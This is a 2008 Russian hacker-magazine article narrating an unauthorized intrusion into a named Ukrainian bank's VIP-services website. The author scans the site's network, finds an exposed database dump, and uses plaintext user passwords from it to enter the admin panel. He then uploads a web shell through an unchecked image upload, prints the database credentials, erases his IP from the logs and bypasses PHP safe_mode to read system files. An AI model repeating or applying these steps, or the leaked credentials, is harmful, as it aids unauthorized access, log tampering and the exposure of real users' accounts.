Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 116, АВГУСТ 2008 г.

Там, где VIP нога ступала

furang «furiousangel»

Хакер, номер #116, стр. 116-062-1

В гостях у Приватбанка

Казалось бы, на важных ресурсах все должно работать, как часы, ан нет – и на них встречаются непростительные ошибки, которые приводят к плачевному исходу. Исходу, заставляющему админов колотиться головой о клаву, а хакеров – потешаться над ресурсом. На этот раз под прицел попал privatbankvip.com.ua.

Как говорится на сайте, «ПриватБанкVIP» создан для предоставления рекомендаций по посещению сети предприятий, соответствующих высокому статусу элитных заведений Украины и России. Дает право пользования привилегированными тарифами при оплате платежными картами ПриватБанка, МоскомПриватБанка и ПриватИнвеста.

Пристреливаемся

Сайт выглядит довольно просто – минимум красок, flash-анимация, самописный движок форума. На первый взгляд придраться не к чему. Полазив по ссылкам, я попробовал заюзать различные SQL-инъекции типа:

http://privatbankvip.com.ua/inpage.php?pn=11,

но везде меня ждал облом. Нештатные ситуации обрабатывались нормально. Никакого ворнинга не выскочило. Искать досконально, признаюсь, было лень.

Следующий шаг подразумевал обратиться за помощью к domainsdb. Вбил privatbankvip.com.ua. Сухой ответ гласил: «0 доменов».

«found 0 domain entrys on NS:privatbankvip.com.ua»

Досадно, но переживем. Идем дальше. Я резолвнул IP-адрес privatbankvip.com.ua (217.117.74.152), и в голову пришла привычная мысль просканить весь диапазон 217.117.74.*. Вот результат:

217.117.74.2 : ns01.privat-online.net(.NET | Network)

217.117.74.6 : hub.privat-online.net(.NET | Network)

217.117.74.18 : mail.duep.edu(.EDU | US Educational)

217.117.74.34 : kross.duep.edu(.EDU | US Educational)

217.117.74.40 : mail.tez.dp.ua(.UA| Ukraine)

217.117.74.42 : mail.prostocredit.com(.COM | US Commercial)

217.117.74.43 : mail.slav-registr.dp.ua(.UA| Ukraine)

217.117.74.65 : dpf.foxtrot.dp.ua(.UA| Ukraine)

217.117.74.70 : hosting.privat-online.net(.NET | Network)

217.117.74.82 : mail.74-82.privat-online.net(.NET | Network)

217.117.74.97 : mail.dmz-petrovka.dp.ua(.UA| Ukraine)

217.117.74.152 : privatbankvip.com.ua(.UA| Ukraine)

217.117.74.160 : fw.dnipro.fxclub.org(.ORG | Non-Profit Organization)

Уже что-то. Обратил внимание на 217.117.74.70: hosting.privat-online.net. Слово «хостинг» в имени домена звучало многообещающе. После беглого осмотра hosting.privat-online.net на нем была обнаружена потенциальная угроза SQL-инъекции:

http://hosting.privat-online.net/news.php?id='2.

И опять попытка не увенчалась успехом. Да, это был слепой SQL. Да, вылез warning. Но поигравши с параметром id, я так и не смог добиться чего-либо серьезного. Нужен был другой подход (на остальных хостах ничего полезного для взлома тоже не оказалось).

Я уже было отчаялся, но тут у меня возникла вполне здоровая мысль просканировать порты. Что и было сделано.

Port21 (ftp)... Ok !(port 21 - File Transfer [Control])

Port 110 (pop3)... Ok !(port 110 - Post Office Protocol - Version 3)

Port25 (smtp)... Ok !(port 25 - Simple Mail Transfer)

Port 119 (nntp)... Ok !(port 119 - Network News Transfer Protocol)

Port80 (http-www)... Ok !(port 80 - World Wide Web HTTP)

В принципе, ничего интересного, кроме ftp-сервера. Для пущей радости я попробовал посмотреть что внутри и...

230 access granted for anonymous.

Надежды и новые разочарования

Сервер без проблем пускал внутрь под анонимом. В корне FTP была папка pub, а в ней – папки Remote Administrator 2.1 и usergate. Что в них находилось – нетрудно догадаться. Увы, толку все равно было мало. Залить в каталоги ничего нельзя. Идеи кончились. Зато сам факт захода на сервер вселял в меня надежду, что стоит еще поискать баги.

Я стукнул в асю к моему приятелю и рассказал про итоги пока что неудачного взлома. Он предложил воспользоваться сканером для поиска багов. Под рукой ничего подходящего у меня не было, а кодить – лениво. Пришлось позаимствовать у друга. Через пару минут на мыло пришел архивчик, который содержал небольшой сканер, написанный на перле. А также баг-лист.

Задумано – сделано. После непродолжительной работы сканер обнаружил интересные каталоги:

privatbankvip.com.ua/user/

privatbankvip.com.ua/news/

privatbankvip.com.ua/manual/

privatbankvip.com.ua/logs/

privatbankvip.com.ua/info/

privatbankvip.com.ua/inc/

privatbankvip.com.ua/img/

privatbankvip.com.ua/forum/

privatbankvip.com.ua/phpmyadmin/lang/

privatbankvip.com.ua/pma/

Ничего любопытного, кроме phpmyadmin'а. Меня удивило, что не нашлась админка (в том, что она должна быть, я не сомневался). Тогда я сам попробовал вбить privatbankvip.com.ua/admin.php – вот и она! Но тут меня спрашивали о каком-то пароле, которого я не знал.

Взлом с продолжением

Все бы, наверное, на этом и закончилось, и смысла в статье было бы ноль, если бы через полторы недели я не вспомнил о «незавершенном деле». После небольшого трепа по аське все с тем же приятелем пришла «коллективная» мысль поискать на сайте дампы баз. Глупо, конечно, но все же...

Вручную искать – не по-хакерски, поэтому в ход снова пошел сканер. Только пришлось создать новую базу баг-листа. Представлю ее ключевой фрагмент.

/db.sql

/dump.sql

/base.sql

/bank.sql

/privat.sql

/privatbank.sql

/privatbankvip.sql

/privatbankvip.com.sql

/privatbankvip.com.ua.sql

Итак! Запуск и ожидание! Когда сканер выплюнул результат, я чуть не подавился котлетой (а как ты хотел, каждый уважающий себя хакер ест прямо за компом).

http://privatbankvip.com.ua/privatbankvip.sql

Быстро вбив найденный URL в адресную строку оперы, я стал ждать заветной фразы «Документ не найден». Но браузер выдал мне страницу такого содержания:

-- MySQL dump 10.9

--

-- Host: localhostDatabase: privatbankvip

-- ------------------------------------------------------

-- Server version4.1.9-log

/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;

/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;

/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE="NO_AUTO_VALUE_ON_ZERO,MYSQL323" */;

--

-- Table structure for table `vct_a`

--

DROP TABLE IF EXISTS `vct_a`;

CREATE TABLE `vct_a` (

`id` int(10) unsigned NOT NULL auto_increment,

`folder` int(10) unsigned NOT NULL default '0',

`name` varchar(100) NOT NULL default '',

`date` int(10) unsigned NOT NULL default '0',

PRIMARY KEY(`id`),

KEY `folder` (`folder`)

) TYPE=MyISAM;

....................

Удача! Вот он, дамп! Чуть ниже было:

/*!40000 ALTER TABLE `vct_access` DISABLE KEYS */;

LOCK TABLES `vct_access` WRITE;

INSERT INTO `vct_access` VALUES

('sergey_r','90993829ax',1146745144,'10.1.111.105','1111111111111111'),

('serg1994','97130ecd',1123567700,'10.1.111.134','111111111111110'),

('tosha','saburban33',1145012488,'195.248.163.246','1111111111111111'),

('dima_p','ea94a14b',1146749816,'10.1.111.105','111111111111110'),

('natali','f6a8f1dd',1146745660,'10.1.111.95','000000000001000');

UNLOCK TABLES;

/*!40000 ALTER TABLE `vct_access` ENABLE KEYS */;

А внутри...

Я не верил своим глазам: банковские аккаунты в открытом виде! Я моментом написал коллеге о находке. Пара логин:пасс «sergey_r:90993829ax» давала право на вход в админку, представляющую собой скудную возможность редактирования страниц сайта через взаимодействие с базой. В информационном разделе предлагалось добавить статью и установить картинку. Кликнув на кнопку «ОБЗОР», я быстро нашел в дебрях своего винта знаменитый шелл от RST r57shell и нажал «сохранить». Все прошло без запинки. Расширение «картинки» не проверялось. По приглашению «добавить еще статью» я понял, что шелл залился, осталось только найти куда. Я обратил внимание, что список увеличился и кликнул по новому элементу. Тут сразу бросилась в глаза надпись «рисунок» (вместо картинки, как полагалось). Скопировав адрес «рисунка»

http://privatbankvip.com.ua/img/user/vcg_user353.php

и вбив его в строку браузера, я мог лицезреть полноценный шелл! Как выяснилось позже, сервер крутился на FreeBSD 6.2да и еще safe_mod=ON, так что на права рута можно было не надеяться (впрочем, мне они были и не нужны).

Я порыскал по файлам и все-таки нашел параметры mysql_connect().

$sqlbase='privatbankvip';

$sqlhost='localhost';

$sqllogin='privatbankvip';

$sqlpass='privatvip';

Потом залил на сервер sql.php. Мне просто хотелось взглянуть на их базы.

Первым делом зашел в таблицу vct_access, так как, судя по имени столбца lastip, можно было предположить, что здесь хранится последний IP, с которого заходили пользователи. Так и есть. Не будем же оставлять в логах мой «проксик». Поэтому – бережно пофиксил IP из дампа.

Больше ничего стоящего на глаза не попалось. Порыскав по файлам и директориям и слив все, что вызвало интерес, я с сожалением для себя обнаружил, что выше /var/www/privatbankvip подняться невозможно. Жаль. Наверняка, там тоже было, чем поживиться.

Тогда я вспомнил про обход ограничений safe_mode с помощью imap_list. Вставив в качестве пути «/var/www/», я нажал «проверить». Через 15 секунд моему взору открылся слепок файлов и каталогов /var/www/ с их подкаталогами. Если работал imap_list, то была высока вероятность, что получится прочитать любой файл с помощью imap_body. Я подставил /etc/passwd, нажал «проверить» – и вскоре передо мной был /etc/passwd. Теперь у меня была возможность читать почти любой файл на сервере, зная его полный путь (что не так уж и мало, при условии, что у меня были полные пути всех файлов из /var/www/).

А вот и кусок заветного /etc/passwd:

# $FreeBSD: src/etc/master.passwd,v 1.39 2004/08/01 21:33:47 markm Exp $

#

root:*:0:0:Charlie &:/root:/bin/csh

toor:*:0:0:Bourne-again Superuser:/root:

dimka:*:1002:20:User &:/home/dimka:/bin/sh

adk:*:1000:1000::/usr/local/www/adk:/bin/sh

webmin:*:1003:1001:Administrator WEBMIN:/www/webmin:/bin/sh

oleg421:*:1004:1002::/www/oleg421:/bin/sh

pconsult:*:1005:1003:Приват Консалтинг:/www/pconsult:/bin/sh

......

P.S.

Взлом был совершен в прошлом году. Но, как ни странно, и почти год спустя удалось повторить тот же «подвиг». Ничего не изменилось! О чем думают админы, можно только догадываться. Это учитывая, что я их предупредил...

WARNING

Вся информация выложена с целью указать на элементарные ошибки и не может расцениваться как призыв к действию. Ни автор статьи, ни редакторы журнала не несут ответственность за то, что ты можешь сотворить.

INFO

Довольно часто имя ресурса (указанное полностью или частично) является «ключом» к самому ресурсу. Например, – имя дампа и логин:пасс к БД.

VIDEO

Как всегда, на нашем диске ты найдешь живое видео по взлому. Если по тексту что не ясно, то просим к просмотру.

Содержание
загрузка...
Журнал Хакер #151Журнал Хакер #150Журнал Хакер #149Журнал Хакер #148Журнал Хакер #147Журнал Хакер #146Журнал Хакер #145Журнал Хакер #144Журнал Хакер #143Журнал Хакер #142Журнал Хакер #141Журнал Хакер #140Журнал Хакер #139Журнал Хакер #138Журнал Хакер #137Журнал Хакер #136Журнал Хакер #135Журнал Хакер #134Журнал Хакер #133Журнал Хакер #132Журнал Хакер #131Журнал Хакер #130Журнал Хакер #129Журнал Хакер #128Журнал Хакер #127Журнал Хакер #126Журнал Хакер #125Журнал Хакер #124Журнал Хакер #123Журнал Хакер #122Журнал Хакер #121Журнал Хакер #120Журнал Хакер #119Журнал Хакер #118Журнал Хакер #117Журнал Хакер #116Журнал Хакер #115Журнал Хакер #114Журнал Хакер #113Журнал Хакер #112Журнал Хакер #111Журнал Хакер #110Журнал Хакер #109Журнал Хакер #108Журнал Хакер #107Журнал Хакер #106Журнал Хакер #105Журнал Хакер #104Журнал Хакер #103Журнал Хакер #102Журнал Хакер #101Журнал Хакер #100Журнал Хакер #099Журнал Хакер #098Журнал Хакер #097Журнал Хакер #096Журнал Хакер #095Журнал Хакер #094Журнал Хакер #093Журнал Хакер #092Журнал Хакер #091Журнал Хакер #090Журнал Хакер #089Журнал Хакер #088Журнал Хакер #087Журнал Хакер #086Журнал Хакер #085Журнал Хакер #084Журнал Хакер #083Журнал Хакер #082Журнал Хакер #081Журнал Хакер #080Журнал Хакер #079Журнал Хакер #078Журнал Хакер #077Журнал Хакер #076Журнал Хакер #075Журнал Хакер #074Журнал Хакер #073Журнал Хакер #072Журнал Хакер #071Журнал Хакер #070Журнал Хакер #069Журнал Хакер #068Журнал Хакер #067Журнал Хакер #066Журнал Хакер #065Журнал Хакер #064Журнал Хакер #063Журнал Хакер #062Журнал Хакер #061Журнал Хакер #060Журнал Хакер #059Журнал Хакер #058Журнал Хакер #057Журнал Хакер #056Журнал Хакер #055Журнал Хакер #054Журнал Хакер #053Журнал Хакер #052Журнал Хакер #051Журнал Хакер #050Журнал Хакер #049Журнал Хакер #048Журнал Хакер #047Журнал Хакер #046Журнал Хакер #045Журнал Хакер #044Журнал Хакер #043Журнал Хакер #042Журнал Хакер #041Журнал Хакер #040Журнал Хакер #039Журнал Хакер #038Журнал Хакер #037Журнал Хакер #036Журнал Хакер #035Журнал Хакер #034Журнал Хакер #033Журнал Хакер #032Журнал Хакер #031Журнал Хакер #030Журнал Хакер #029Журнал Хакер #028Журнал Хакер #027Журнал Хакер #026Журнал Хакер #025Журнал Хакер #024Журнал Хакер #023Журнал Хакер #022Журнал Хакер #021Журнал Хакер #020Журнал Хакер #019Журнал Хакер #018Журнал Хакер #017Журнал Хакер #016Журнал Хакер #015Журнал Хакер #014Журнал Хакер #013Журнал Хакер #012Журнал Хакер #011Журнал Хакер #010Журнал Хакер #009Журнал Хакер #008Журнал Хакер #007Журнал Хакер #006Журнал Хакер #005Журнал Хакер #004Журнал Хакер #003Журнал Хакер #002Журнал Хакер #001